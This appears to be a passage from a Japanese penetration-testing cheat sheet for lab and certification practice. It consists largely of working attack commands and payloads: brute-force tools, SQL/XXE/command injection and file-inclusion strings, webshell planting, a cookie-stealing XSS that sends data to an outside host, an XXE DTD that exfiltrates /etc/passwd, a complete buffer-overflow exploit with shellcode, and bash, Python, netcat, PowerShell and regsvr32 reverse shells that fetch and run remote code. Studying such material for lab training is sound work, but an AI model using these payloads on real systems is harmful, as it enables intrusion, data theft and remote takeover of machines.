    adminaa,adminab...などの文字列を作成できる。
    @ will insert lower case characters
    , will insert upper case characters
    % will insert numbers
    ^ will insert symbols
    crunch 7 7 -f /usr/share/crunch/charset.lst mixalpha-numeric-space -t admin@@ -o passlist.txt
    こうすることで@のルールにmixalpha-numeric-spaceが当てはまる。
    参考: www.securitynewspaper.com
  • cewl -w wordlist http://192.168.136.212:1898/?q=node/1
    URLの2つリンクを辿った先までのページの中で、3文字以上の単語をWordリストとして保存する。
    cewl -w wordlist http://192.168.136.212:1898/?q=node/1 --with-numbers
    --with-numbersオプションを付けないと、例えばpassword123という文字列が存在していても数字は含めないためpasswordとして保存されてしまう。

    文字列の変換

  • 2進数10進数16進数ASCII文字の変換
    www.rapidtables.com

Crack Zip Password

  • fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt file.zip

ファイルの解析

  • file backup.img
  • foremost backup.img
    passphraseでファイルが保護されてても解析して出力してくれるフォレンジックツール
  • binwalk -e backup.img
    ファイルを解析して出力する

Webサービスへの攻撃

Directory Traversal

  • directory_traversal_2.php?directory=../
  • directory_traversal_2.php?directory=file://
  • directory_traversal_1.php?page=../../../etc/passwd
  • directory_traversal_1.php?page=file:///etc/passwd

ログイン画面への攻撃

Default Account Login

phpmyadmin

admin \ "" (空白), admin \ admin, admin \ password
root \ "" (空白), root \ root, root \ password

SQL Injection

  • 1' or '1' = '1
    基本的なこのSQLインジェクションの入力で試す。

    Login Brute Force attack

  • hydra -L user.txt -P /usr/share/john/password.lst -s 80 192.168.56.20 http-post-form '/checklogin.php:myusername=^USER^&mypassword=^PASS^&Submit=Login:Wrong Username or Password'
  • medusa -h 192.168.56.32 -U users.txt -P pass.txt -M web-form -m FORM:"/login" -m DENY-SIGNAL:"Login falied" -m FORM-DATA:"post?login=&password=&"
    以下に使用できるモジュール一覧がある
    https://www.aldeid.com/wiki/Medusa
  • python patator.py http_fuzz url=http://192.168.56.32/login method=POST body='login=FILE0&password=FILE0' 0=user.txt accept_cookie=1 follow=1 -x ignore:fgrep='DNS Manager Login'
    accept_cookie=1 follow=1を入れると、受け取ったCookieを設定してリダイレクト先まで確認.
    -l /tmp/patatorオプションでRUNTIME.logにコマンド実行結果を保存
    cat RUNTIME.log | awk '{print $6":"$9}' | awk -F ":" '{if($1!=346) print $1" "$3}'とかでレスポンスサイズが異常なものを検知するとかでもよさそう
  • Burp Intruder
    [Send to Intruder]にして
    f:id:kakyouim:20200127000148p:plain
    [Cluster bomb]にして、Payload set 1と2にuser.txtとかをセットして[start attack]
    Pro版じゃなければスレッドを1以外にできないのでかなり遅い……
    Basic Authentication
  • python3 bruteforce-http-auth.py -t http://10.11.1.1/webdav/ -u user -P /usr/share/metasploit-framework/data/wordlists/http_default_users.txt --verbose
    詳しくは以下を参照。
    github.com

  • hydra -l user -P /usr/share/metasploit-framework/data/wordlists/http_default_users.txt 10.11.1.1 http-get /target-uri

便利なWordlist

  • Login Bruteforce
    • /usr/share/metasploit-framework/data/wordlists/http_default_users.txt
    • /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt
    • /usr/share/wfuzz/wordlist/general/big.txt
    • /usr/share/john/password.lst
    • /usr/share/metasploit-framework/data/wordlists/adobe_top100_pass.txt
    • /usr/share/seclists/Usernames/Names/familynames-usa-top1000-lower.txt
      大文字のものを小文字に変換したファイルを自作した。
    • /usr/share/wordlists/rockyou.txt
  • Web file bruteforce
    • /usr/share/dirb/wordlists/common.txt
    • /usr/share/wfuzz/wordlist/vulns/cgis.txt
    • /usr/share/SecLists/Fuzzing/fuzz-Bo0oM.txt
    • /usr/share/SecLists/Discovery/Web-Content/quickhits.txt
    • /usr/share/SecLists/Discovery/Web-Content/common.txt
      これらのファイルを結合してもいいけど、wfuzzの場合はエラーで詰まることもあるので小分けした方がよい(?)

Cookieの奪取

  • 管理者のCookieを奪取してログイン
    他のページにXSSができれば、管理者のCookie<script>location.href='http://192.168.56.5/xss.php?gimme='+document.cookie;</script>などで自分のローカルサーバーに送信させる。

CMS

wordpressdrupalなどの脆弱性を突く

暗号の解読

Session Tokenの解析

f:id:kakyouim:20200122140152p:plain
BurpsuiteのSequencerという機能でセッショントークンを解析できる。通常100以上のトークンがあれば調べてくれる

TLS/SSL Vuln Scanner

  • sslscan --no-failed --version 192.168.56.33:9443
  • nmap -v -v --script ssl-cert,ssl-enum-ciphers -p 9443 192.168.56.33
  • nmap --script ssl-heartbleed -sV -p 8443 192.168.56.33
  • sslyze --regular --hide_rejected_ciphers 192.168.56.33:9443
  • ./o-saft.pl +check -v 192.168.56.33:9443
    • ./o-saft.pl +info -v 192.168.56.33:9443
    • ./o-saft.pl +quick -v 192.168.56.33:9443
    • ./o-saft.pl +cipher -v 192.168.56.33:9443
    • ./o-saft.pl +cipherall -v 192.168.56.33:9443
  • ./o-saft.tcl
  • ./testssl.sh -U 192.168.56.33:9443
  • msfconsole> use auxiliary/scanner/ssl/openssl_heartbleed
    正直なんもわからん。
    参考文献
    net123.tistory.com

    Heart Bleed

  • python /usr/share/exploitdb/exploits/multiple/remote/32745.py 10.11.1.1 -p 443
    Memoryの一部をリークできる。
    f:id:kakyouim:20200314020214p:plain
  • msfconsole> use auxiliary/scanner/ssl/openssl_heartbleed
use auxiliary/scanner/ssl/openssl_heartbleed
set RHOSTS 192.168.56.33
set RPORT 8443
set verbose true
exploit

ECB encrypt attack

平文ブロックが同じであれば暗号ブロックも同じになる。それぞれのブロックは独立して暗号化されるため、暗号化されたデータ(セッションIDなど)を入れ替えることが可能
例)user:rootでログインしたいとする。user password を入力するがサーバがpasswordを認証に用いない場合、passwordのフォームにrootとしてSessionIDを受けとり、userとpasswordのブロックを入れ替えればrootとしてログインできる(かもしれない)
例)ブロックサイズが8バイトの場合、aaaaaaaarootとしてSessionIDを取得しaaaaaaaaに該当する箇所を削除して送信すれば行ける(かもしれない)
参考:
PentesterLab: Learn Web App Pentesting!

padding oracle attack

  • padbuster http://192.168.56.27/index.php UzQ1G4%2FpF2Vu8BKSS6x3JRuYaRiIpUyX 8 -cookie auth=UzQ1G4%2FpF2Vu8BKSS6x3JRuYaRiIpUyX
    パディングがPKCS7、ブロック暗号のモードがCBC、送った暗号文のPaddingが正しいか確認可能な時、暗号文を解読、改竄できる
    あるユーザーのセッションIDが上記の時、それを解読することができる。
  • padbuster http://192.168.56.27/index.php UzQ1G4%2FpF2Vu8BKSS6x3JRuYaRiIpUyX 8 -cookie auth=UzQ1G4%2FpF2Vu8BKSS6x3JRuYaRiIpUyX -plaintext user=admin
    plaintextオプションに暗号化したい平文を設定することで偽造されたセッションIDを不正に発行できる。Apache HTTPリリース2.4.25より前のmod_session_crypto関数でこの脆弱性がある。
    参考:
    Padding Oracle Attack
    PentesterLab: Learn Web App Pentesting!

XXE Injection

  • 入力したものが、XML解析されて、その結果がそのまま表示される場合
    入力したものが、そのままXML解析される脆弱性
    入力したものが、XML解析されて、その結果がそのまま表示される場合、以下でファイルを読み込める
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
 <!ENTITY bWAPP SYSTEM "http://localhost/bWAPP/robots.txt">
]>
<reset><login>&bWAPP;</login><secret>blah</secret></reset>

XXEiで表示するコンテンツに<が含まれる場合、XML構文が終了してしまうためそのよう場合には、
php://filter/read=convert.base64-encode/resource=http://localhost/bWAPP/passwords/heroes.xml
としてBase64エンコードする

  • それ以外
    Content typeをXMLとすることで、XML構文を解析させる。XMLのエンティティの外部参照を使って標的内のファイルを取得して送信することができる。また、secret URLの取得や、秘密鍵を取得して偽造セッションIDを作成してログインなど。
    まず、dtdを外部参照にして、標的にXMLリクエストを投げる。
POST /login HTTP/1.1<br>
Host: vulnerable<br>
Connection: close<br>
Content-Type: text/xml<br>
Content-Length: 98<br>
<?xml version="1.0"?><br>
<!DOCTYPE foo SYSTEM "http&#58;//192.168.56.5:3000/test.dtd"><br>
<foo>&e1;</foo><br>

このとき、dtdファイルは攻撃者のサーバに設置する。このリクエストの中に%e1;を入れると、dtdファイル内で定義されるe1エンティティに置き換えられる。
そして、dtdファイルの中には、
<!ENTITY % p1 SYSTEM "file:///etc/passwd">
<!ENTITY % p2 "<!ENTITY e1 SYSTEM 'http://192.168.159.1:3001/BLAH?%p1;'>">
%p2;
と書くことで、XML解析後には、
<!ENTITY e1 SYSTEM 'http://192.168.159.1:3001/BLAH?[/etc/passwd]'>
となり、e1が参照するのは、攻撃者の3001ポートにhttp://.../BLAH?root:x:... みたいな形でアクセスされる。つまり、アクセスしてくるURLの中に/etc/passwdファイルの中身が表示される。
攻撃者のDTDファイルを読み込むようにXMLリクエストを送信して、実際に攻撃者の端末にアクセスがくれば、この攻撃に脆弱であると言える?(yokuwakattenai)
参考:
pentesterlab.com
http://www.beesfun.com/2017/04/21/play%E6%B8%97%E9%80%8F%E6%A1%86%E6%9E%B6XXE%E5%AE%9E%E4%BD%93%E6%94%BB%E5%87%BB/www.beesfun.com

Command Injection

  • commix --url="http://192.168.56.32/create" --cookie="rack.session=BAh7B0kiD3Nlc3Npb2..." --data="name=aa&ip=INJECT_HERE&ttl=600"
    INJECT_HEREとかけばそこをチェックする。shellshockも発見できるらしい
    github.com

  • 手動

    • & | ; $ > < ` \ !などを確認
    • <>を< >などにしてBurpを用いて確認
    • %0a 改行などを確認
    • `pwd`で、コマンドを先に実行を確認
    • echo test;/bin/sh;echo a
    • echo $(/bin/sh)
    • www.nsa.gov | id
    • 192.168.56.5 | sleep 10
    • id=1&name=webmail&ip=192.168.3.10%0a`pwd`&ttl=600
      その他、以下参照
      github.com

Xpath Injection

  • ) or contains(genre, '
  • ) or not(contains(genre, 'teck') and '1'='2
  • )]/password | a[contains(a,'
  • )]/*|//*[contains('1','1

Manual SQL Injection

Union query-based SQL Injection

  • index.php?id=1となっているところに、?id='と入力してエラーが出ればSQLインジェクションが可能。
    ?id=-1 union select 1,2,3,4,5,6 --などを入力して、エラーが出るまで数字を増やしていく。今回は7とするとエラーがでた(ことにする)。
    画面に出ている数字のところにdatabase(),user(),hostname(),@@version,@@datadir,system_user()などとすると、現在のデータベースなどの情報が表示される。
  • UNION SELECT 1,table_schema,3,4,5,6 from information_schema.tables
    でデータベース一覧を取得。
  • UNION SELECT 1,concat(table_schema,0x3a,table_name,0x3a,column_name),3,4,5,6 from information_schema.column
    でデータベース、テーブル、カラム一覧表示を取得。
  • UNION SELECT 1,concat(username,0x3a,password),3,4,5,6 from テーブル名
    であるテーブルのカラムの値を取得
  • UNION SELECT "<?php system($_GET['cmd']); ?>" into outfile "/var/www/https/blogblog/wp-content/uploads/backdoor.php"
    でWebshellを設置。なお、Webshellを設置する/var/www/https/...などの場所は、書き込み権限がある場所を選択する必要がある。
    windowsなら、
    item=1' union select a "<?php system($_GET['cmd']); ?>" into outfile 'c:/wamp/www/PHP/lang/webshell.php'-- -
    のように書く。
    /var/www/html,/var/www/css,/var/www/classesだったりと問題によっていろいろで試してみるしかない?(よくわかっていない)

Blind SQL Injection

NoSQL Injection

  • {"username": {"$gt": ""},"password": {"$gt": ""}}
  • {"username": {"$gt": undefined},"password": {"$gt": undefined}}
  • username[$gt]=&password[$gt]=

github.com

blog.websecurify.com

sqlmap

  • sqlmap -u "192.168.56.104/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" --dbs --level=5 --risk=3
    f:id:kakyouim:20200115200655p:plain
risk levelSQLi type
risk 1: 普通のSQLインジェクション
risk 2: Time-basedSQLインジェクション
risk 3: OR-basedSQLインジェクション

--dbsでデータベース一覧表示
- sqlmap -u "http://192.168.56.30/" --headers="X-Forwarded-For: *" --method GET --batch --technique T --time-sec 1
--headersオプションでヘッダーも調査、*で脆弱な箇所を指定。デフォルトではSqlmapはX-Forwarded-For:は見ない。--batchオプションでユーザー入力を省略、--time-secオプションでTime-basedのSleep時間を指定(デフォルトで5)、--techiniqueでSQLIの種類を指定

optionSQLi type
BBoolean-based blind
EError-based
UUnion query-based
SStacked queries
TTime-based blind
QInline queries
- sqlmap -u "192.168.56.104/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" -D データベース名 --tables
で指定したデータのテーブル一覧表示
- sqlmap -u "192.168.56.104/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" -D データベース名 -T テーブル名 --dump
で指定したテーブルのカラムの値を一覧表示。
- sqlmap -u "http://192.168.56.16/admin/edit.php?id=1" --dump --file-write="/home/user/vulnhub/webshell.php" --file-dest="/var/www/classes/webshell.php"
で/var/www/classes/にWebshellを設置。書き込み権限がなければエラーが表示される。
- sqlmap -u "http://192.168.56.16/admin/edit.php?id=1" --cookie=PHPSESSID=sralrfgdr0qo6v331g12mso8j3
ログイン後にSQLインジェクションできる場合はCookieを設定する。
また、phpmyadminにアクセスできれば、 Shell Uploading in Web Server through PhpMyAdminを参考にしてGUIでWebshellを設置することもできる。

よく使うSQLi payloads

  • ' or '1' = '1
  • or 1=1
  • ' AND (SELECT 4928 FROM (SELECT(SLEEP(5)))DCJf) AND '1'='1
  • ' or if((select version()) like "5%", sleep(10), null) -- -
  • ' AND extractvalue(rand(),concat(0x3a,version()))-- -
  • ' RLIKE (SELECT (CASE WHEN (1119=1119) THEN 0x73716c6d61702f312e332e313023737461626c652028687474703a2f2f73716c6d61702e6f726729 ELSE 0x28 END)) AND 'ZyyZ'='ZyyZ

NoSQLMap

  • python nosqlmap.py
    f:id:kakyouim:20200314024157p:plain
    MongoDB and CouchDBが対象。

  • python nosqlmap.py --attack 2 --victim 10.11.1.1 --webPort 80 --uri /login --httpMethod POST --postData email,test@test.test,password,qwerty --injectedParameter 1 --injectSize 4 --injectFormat 2 --savePath output.log
    --injectedParameter 1{'password': "qwerty"}{'password': "a'; return db.a.find(); var dummy=1"}みたいにペイロードをInjectする。
    --injectSize 4でランダムな文字列のサイズを指定。これでよさそう。
    --injectFormat 2でinjected stringsをletters onlyにする。
    以下、わかりやすい参考文献。
    medium.com

PHP Vulnervilities

PHP File Inclusion

  • page=../../../../../../../../../../etc/passwd
    LFI(Local File Inclusion)
  • page=../../../../../../../../../../etc/passwd%00
    %00はヌルバイト。
    LFIしかできない場合、../../../var/log/apache2/access.log
    PHPコードを書き込む(アクセスする)ことで、シェルがとれるかも。
RHEL / Red Hat / CentOS / Fedora Linux Apache access file location – /var/log/httpd/access_log
Debian / Ubuntu Linux Apache access log file location – /var/log/apache2/access.log
FreeBSD Apache access log file location – /var/log/httpd-access.log

以下、LFIからRCEをする参考文献。
outpost24.com
medium.com
LFI + phpinfo.phpのExplot codeは以下にある。

github.com

  • page=http://192.168.56.5/share/test.txt
    RFI(Remote File Inclusion)
  • page=php://filter/convert.base64-encode/resource=config
  • page=php://filter/convert.base64-encode/resource=config.php
  • page=php://filter/read=convert.base64-encode/resource=/etc/passwd
  • page=php://input&cmd=ls
  • page=proc/self/environ
  • kadimus
    PHP LFI/RFIを自動で特定するツール。
    github.com

  • RFIでヌルバイトでうまく行かないときのnetcatを使った方法
    netcatでHTTPレスポンスを強引に作ってデータを返す。

root@kali:/var/www/html# nc -lvp 443
listening on [any] 443 ...
connect to [10.11.0.1] from test.test.local [10.11.1.1] 59553
GET /test.txt\0header.php HTTP/1.0
Host: 10.11.0.1:443

HTTP/1.1 200 OK
Server: Apache/2.4.34 (Debian)
Content-Length: 289
Connection: close
Content-Type: text/html; charset=iso-8859-1

<?php echo shell_exec(id);?>

以下参考文献
Comprehensive Guide on Local File Inclusion (LFI)
awesome-security-trivia/Tricky-ways-to-exploit-PHP-Local-File-Inclusion.md at master · qazbnm456/awesome-security-trivia · GitHub

PHP CGI Remote Code Execution

phpinfo.php?-s

POST /bWAPP/admin/phpinfo.php?-d+allow_url_include%3DOn+-d+auto_prepend_file%3Dphp://input

<?php readfile('/etc/passwd'); ?>

PHP Eval Function

  • php_eval.php?eval=system('cat /etc/passwd');
  • eval=phpinfo();
  • eval=;echo exec('id');
  • eval=;echo exec(id);
  • eval=;exec('nc -e /bin/sh 192.168.56.5 4444');
    execを実行結果を表示するにはechoが必要だが、systemでは必要ない(っぽい)

shell shock

  • Referer: () { :;};echo;/bin/echo "shell shock"
  • Referer: () { :;};echo;echo "shell shock"
  • Referer: () { :;};echo "ssssss" $(/bin/sh -c "nc -e /bin/bash 192.168.56.5 4444")
  • User-Agent: () { :;};echo -e "\r\nKNLIwpKiKTCa0nEHWEmc9Iquq"
use exploit/multi/http/apache_mod_cgi_bash_env_exec
set RHOSTS 192.168.56.33
set targeturi /bWAPP/cgi-bin/shellshock.sh
exploit
  • nmap 10.11.1.1 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/test-cgi
    で脆弱かどうか確認。

    HTTP要求の改竄

    Burp Suiteを使って書き換える。
    f:id:kakyouim:20200104222547p:plain
    Firefoxの[Preference]の[general]から[Network]を選び上記のように設定。
    f:id:kakyouim:20200104222735p:plain
    Burp Suiteを起動して、[Proxy]タブで上記のように設定。
    f:id:kakyouim:20200104222849p:plain
    [Intercept]タブで[Intercept is on]にしてHTTP要求を受け取る。そして、[action]の[Send to Repeater]を選択。
    f:id:kakyouim:20200104223105p:plain
    [Repeat]タブに移動して、左ウインドウの内容を書き換えて、[Send]で送信する

Hash crack

Buffer Overflow

msfvenom

  • msfvenom -l payloads
    でpayloadsを確認できる
  • msfvenom -l encoders
    指定するエンコーダーによって同じ動作をするペイロードでも違ったペイロードが出力される
    標準はshikata_ga_naiだが、それでうまく行かない場合(bad charactersが\x00以外にもある場合?)は別のエンコーダーを使用する必要がある。
  • -boption
    -bで使用しないCharacterを指定できる
  • -foptoins
    msfvenom -p windows/shell_reverse_tcp LPORT=31337 LHOST=YOURIPHERE -f exe-service > daclservicehijack.exe
    Windowsがサービスを開始するための呼び出しを行うとき、ServiceMain関数を呼び出し、この呼び出しからの戻りを予期します。
    exe-serviceを指定しない場合、生成されたペイロードは永続的なシェルを提供できません。
    Windowsのサービスバイナリのために作成する場合は-f exe-serviceを付けないといけない
  • staged/non staged
    • windows/shell_reverse_tcp
      stage lessでバイナリのサイズが大きい。
      nc -lvp 4444でNetcatでリバースシェルをキャッチするときは、StagedじゃなくてStagelessを使う。
    • windows/shell/reverse_tcp
      stagedで二段階に分けて実行を行うため、Bufferのサイズが小さいときに使う。
      netcatではキャッチできない。
  • msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.112 LPORT=4445 EXITFUNC=thread -f exe -a x86 --platform windows -o reverse-shell.exe
    EXITFUNC=threadペイロードを注入するサービスの動作を中止させることなくペイロードを実行できる。
  • --var-name,--nopsled
    変数の名前を指定、NOPスレッドでペイロードの長さを調整できる。

    攻撃手順

  • 静的解析
    • radare2 ./program
    • objdump -D -M intel program
    • file program
  • eipの奪取
    • /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 400
    • gdb --args ./movie_search "payload”
    • /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x41386c41
  • 任意ペイロードの実行
    • objdump -D -M intel movie_search | grep jmp | grep esp
    • send = padding + return_esp + payload
  • Exploit codeの作成
    • sudo msfvenom -p linux/x86/exec CMD=/bin/ps -b '\x00' -e x86/opt_sub -f raw > payload.txt
use linux/x86/exec
set CMD /bin/ps
generate -b '\x00' -e x86/opt_sub -f py
  • payloads
    payloadsは以下のものをよく使う(気がする)
    • linux/x86/exec
    • linux/x86/shell/reverse_tcp
    • linux/x86/meterpreter/reverse_tcp
    • linux/x86/shell_bind_tcp
  • encode payloads
    payloadsはWeb経由で送信する場合はURLエンコードする必要があったりなかったり
    • (echo -n \'; cat payload.txt; echo -n \';) | perl -pe's/(.)/sprintf("%%%02X",ord($1))/seg'
    • urllib.parse.quote(paylaod.txt)
  • sample exploit code
    以下はサンプルExploit code
import sys
import socket
host = "192.168.56.33"
port = 666

junk = b"A" * 354
ret_addr = b"\xa7\x8f\x04\x08"
nop = b"\x90" * 16
buf =  b""
buf += b"\xda\xca\xd9\x74\x24\xf4\x5a\x33\xc9\xb8\x0f\x55\x1c"
buf += b"\xa3\xb1\x1f\x31\x42\x1a\x03\x42\x1a\x83\xc2\x04\xe2"
buf += b"\xfa\x3f\x16\xfd\x35\x1b\xd1\xe2\x66\xd8\x4d\x8f\x8a"
buf += b"\x6e\x17\xc6\x6b\x43\x58\x4f\x30\x34\x99\xd8\xfe\xc1"
buf += b"\x71\x1b\xfe\xd8\xdd\x92\x1f\xb0\xbb\xfc\x8f\x14\x13"
buf += b"\x74\xce\xd4\x56\x06\x95\x1b\x11\x1e\xdb\xef\xdf\x48"
buf += b"\x41\x0f\x20\x89\xdd\x7a\x20\xe3\xd8\xf3\xc3\xc2\x2b"
buf += b"\xce\x84\xa0\x6b\xa8\x39\x41\x4c\xf9\x45\x2f\x92\xed"
buf += b"\x49\x4f\x1b\xee\x8b\xa4\x17\x30\xe8\x37\x97\xcf\x22"
buf += b"\xc7\x52\xef\xc5\xd8\x07\x79\xd4\x40\x05\x5d\xa7\x70"
buf += b"\xa4\x1e\x42\xb6\x4e\x1d\xb2\xd6\x16\x20\x4c\x19\x66"
buf += b"\x98\x4d\x19\x66\xde\x80\x99"

print("Sending payload....")
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect = s.connect((host,port))
s.send(junk + ret_addr + nop + buf)
s.close()

シェルの奪取

Webshellの設置

Webdav Scanner

  • cadaver http://192.168.56.8/webdav
    ls,put,move,copyが使えて便利。
    初めに接続して、lsしたい。
  • davtest -url http://192.168.56.8/webdav/
    davtest -url http://192.168.56.5/_vti_log/ -sendbd auto -move
    でMOVEメソッドが成功するのか確認できる。
    メソッドが使用できても書き込み権限がない場合はUploadできない。
    めぼしいディレクトリはすべて調査するのがよさそう。
  • use auxiliary/scanner/http/webdav_scanner
    参考文献
    www.hackingarticles.in
    Msfvenomでのaspペイロード作成コマンドなどは以下を参照。
    https://github.com/xapax/security/blob/master/reverse-shell.mdgithub.com

手動で設置

  • PUTメソッドでファイルアップロード
    curlやniktoなどで確認
    <?php system($_GET['cmd']); ?>
    curl -v -X PUT -d "Test" http://192.168.56.14/test/test.txt
    curl -T shell-venom-staged.txt http://10.11.1.1/upload
    curl -X MOVE --header 'Destination:http://10.11.1.1/upload/shell-venom.asp' 'http://10.11.1.1/upload/shell-venom.txt'
  • ファイルのヘッダーを書き換えてアップロード
    PDFや画像ファイルしかアップできなくても、ファイルの先頭に%PDF-1.5とさえ書いておけばphpファイルをアップできるかも

Bypass File Upload

  • 拡張子の変更
    .php.jpg,.php5,.PHp3,.phtとか
  • MIMEタイプの偽造
    Burp Suiteを使用して、Content-type: image/jpegに書き換える
  • GIF file ヘッダーの付与
    GIF89a;を先頭に着ける。
  • "nginx" AND "php" AND "execute" AND (".gif" OR ".png") AND ("misconfiguration" OR "misconfig" OR "properly") AND "upload"
    Googleでnginxの設定ミスでPHP以外のファイルがPHPとして実行できたりしないかとかいろいろ調べてみる。
  • exiftool -Comment='<?php system($_GET['cmd']); ?>' image.jpeg
    参考文献

github.com

pentestlab.blog
vulp3cula.gitbook.io
medium.com

Reverse shell

Linux

  • 実行できるコマンドの調査
    いきなりシェルスクリプトとかを実行すると、Firewallが特定のポートをはじいている場合などにデバッグできなくて詰むので、ちゃんと何が実行できるのかを整理してから選ぶ!!
    以下、PHPの前提で進める。
  • <?php echo exec("id"); ?>
    普通のコマンドが実行できているのかまず確認する。奪取できるシェルの権限も確認できる。
  • <?php echo exec("set 2>&1 | tr -d '\n' 2>&1"); ?>
    環境変数PATHの値をチェックする。pythonなどがPATHが通っていないだけの場合が考えられるため。
    2>&1標準エラー出力を標準出力にマージすることでエラーも見れるようになる。
  • bash
    • <?php echo exec("bash -i 2>&1 | tr -d '\n' 2>&1"); ?>
    • <?php echo exec("whereis bash 2>&1 | tr -d '\n' 2>&1"); ?>
    • <?php echo exec("locate bash 2>&1 | tr -d '\n' 2>&1"); ?>
  • nc
    • <?php echo exec("nc -h 2>&1 | tr -d '\n' 2>&1"); ?>
    • <?php echo exec("find / -name 'nc.*' -type f"); ?>
    • <?php echo exec("locate nc 2>&1 | tr -d '\n' 2>&1"); ?>
      出力がとても多いので、locate nc 2>&1 | grep '\/nc' 2>&1 | grep -vE 'nc.' 2>&1として、これをBase64Encodeして、
      <?php echo system(base64_decode(""))?>
      のようにすることもできる。
      encodeしないと期待した結果が得られなかった(???)
    • <?php echo system(base64_decode("bG9jYXRlIG5jIDI+JjEgfCBncmVwICdcL25jJyAyPiYxIHwgZ3JlcCAtdkUgJ25jLicgMj4mMQ0K"))?>
  • netcat
    • <?php echo exec("netcat -h 2>&1 | tr -d '\n' 2>&1"); ?>
    • <?php echo exec("find / -name 'netcat.*' -type f"); ?>
    • <?php echo exec("locate netcat 2>&1 | tr -d '\n' 2>&1"); ?>
  • telnet
    • <?php echo exec("telnet -h 2>&1 | tr -d '\n' 2>&1"); ?>
      telnetncが使えるとき、どのFirewallによって特定のポートへのOutboundが遮断されていないかどうかをWiresharkで確認できる。
    • <?php echo exec("telnet 10.11.0.1 5555 2>&1"); ?>
  • perl
    • <?php echo exec("perl -h 2>&1 | tr -d '\n' 2>&1"); ?>
    • <?php echo exec("whereis perl 2>&1 | tr -d '\n' 2>&1"); ?>
    • <?php echo exec("locate perl 2>&1 | tr -d '\n' 2>&1"); ?>
  • python
    • <?php echo exec("python -h 2>&1 | tr -d '\n' 2>&1"); ?>
    • <?php echo exec("whereis python 2>&1 | tr -d '\n' 2>&1"); ?>
    • <?php echo exec("locate python 2>&1 | tr -d '\n' 2>&1"); ?>
  • wget

    • <?php echo exec("wget -h 2>&1 | tr -d '\n' 2>&1"); ?>
  • Reverse shell script
    pentestmonkey.net
    github.com
    book.hacktricks.xyz

のリバースシェル用のスクリプトを参考にする。

代表的なものとしては、

  • bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
  • python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
  • nc -e /bin/sh 10.0.0.1 1234
  • msfvenom -p cmd/unix/reverse_python LHOST=10.10.14.16 LPORT=4444 SHELL=/bin/bash -a cmd --platform Unix -e generic/none
  • msfvenom -p cmd/unix/reverse_bash LHOST=10.0.0.1 LPORT=4242 -f raw > shell.sh
  • wget http://10.11.0.1/reverse/linux/reverse-443.sh -O /tmp/reverse-443.sh && bash /tmp/reverse-443.sh
  • rm -f /tmp/p; mknod /tmp/p p && telnet 10.11.0.112 5555 0/tmp/p
  • telnet 10.11.0.112 5555 | /bin/bash | telnet 10.11.0.112 6666
  • 5555と6666ポートの両方を開けておく。5555ポートにコマンドを入力すると6666ポートに結果が表示される。

である。

他にもKaliLinuxにはreverse shell用のスクリプトが容易されている。

  • /usr/share/webshells/php/php-reverse-shell.php
  • sudo msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.56.5 lport=443 -f raw

として、use /exploit/multi/handlerモジュールを選択し、payloadにphp/meterpreter/reverse_tcp(staged)を選択する
f:id:kakyouim:20200103185552p:plain
meterpreterセッション確立後は、sysinfo,getuidなどで情報を集める。

Windows

  • cscript wget.vbs http://10.11.0.11/exploit/windows/nc.exe nc.exe
    wget.vbsechoワンライナーで作成しておき、nc.exeをUploadする
    nc -nv 10.11.0.11 4444 -e cmd.exe
    でReverse shellを得る
  • tftp -i 10.11.0.112 get nc.exe
    atftpd --daemon --port 69 /tftp
    /tftpnc.exeを設置しておき、上記のコマンドが使えればこれでnc.exeをUploadする
    他にも、certuril,powershellnc.exeをアップする方法がある。
  • powershell one liner


IP,portを編集して以下でbase64エンコードしてワンライナーで実行できるようにする
2021 3/1追記
powershell-EncodedCommandで実行するにはデフォルトのUTF-8ではなくUTF-16LEでエンコードされていないといけない!
iconv -f ASCII -t UTF-16LE powershellrev.ps1 | base64 | tr -d "\n"で変換してエンコード
https://stackoverflow.com/questions/57399778/how-to-run-base64-code-in-powershell-with-ascii

raikia.com
powershell.exe -EncodedCommand JABzAGUAcgB2AGUAc.......
もしくはpowershellファイルをpowershell .\test.ps1のようにしてcmd上で実行する
- regsvr32 /s /n /u /i:http://10.11.0.112/reverse-4445.sct scrobj.dll
Kaliに用意したreverse-4445.sctファイルを実行して、reverse-4445.ps1ファイルを実行する。
PSのリバースシェルが得られる。

<?XML version="1.0"?><scriptlet><registration progid="SCqiRsAq" classid="{30ccdc90-36cf-68ac-6562-51b3f07b27ea}"><script><![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("powershell.exe -nop -w hidden -c $c=new-object net.webclient;$c.proxy=[Net.WebRequest]::GetSystemWebProxy();$c.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $c.downloadstring('http://10.11.0.1/reverse-4445.ps1');",0);]]></script></registration></scriptlet>
$client = New-Object System.Net.Sockets.TCPClient("10.11.0.1",4445);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
  • powercat
powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://10.11.0.11/exploit/windows/powercat.ps1');powercat -c 10.11.0.11 -p 4444 -e cmd"

github.com
- cmd.exe /c powershell -c Invoke-WebRequest -Uri "http://10.10.14.8/nc.exe" -OutFile "C:\windows\system32\spool\drivers\color\nc.exe


netsh firewall show config
Firewallの設定を確認できる。
FirewallによってOutboundが許可されず、コマンドは実行できるがリバースシェルが得られない場合、
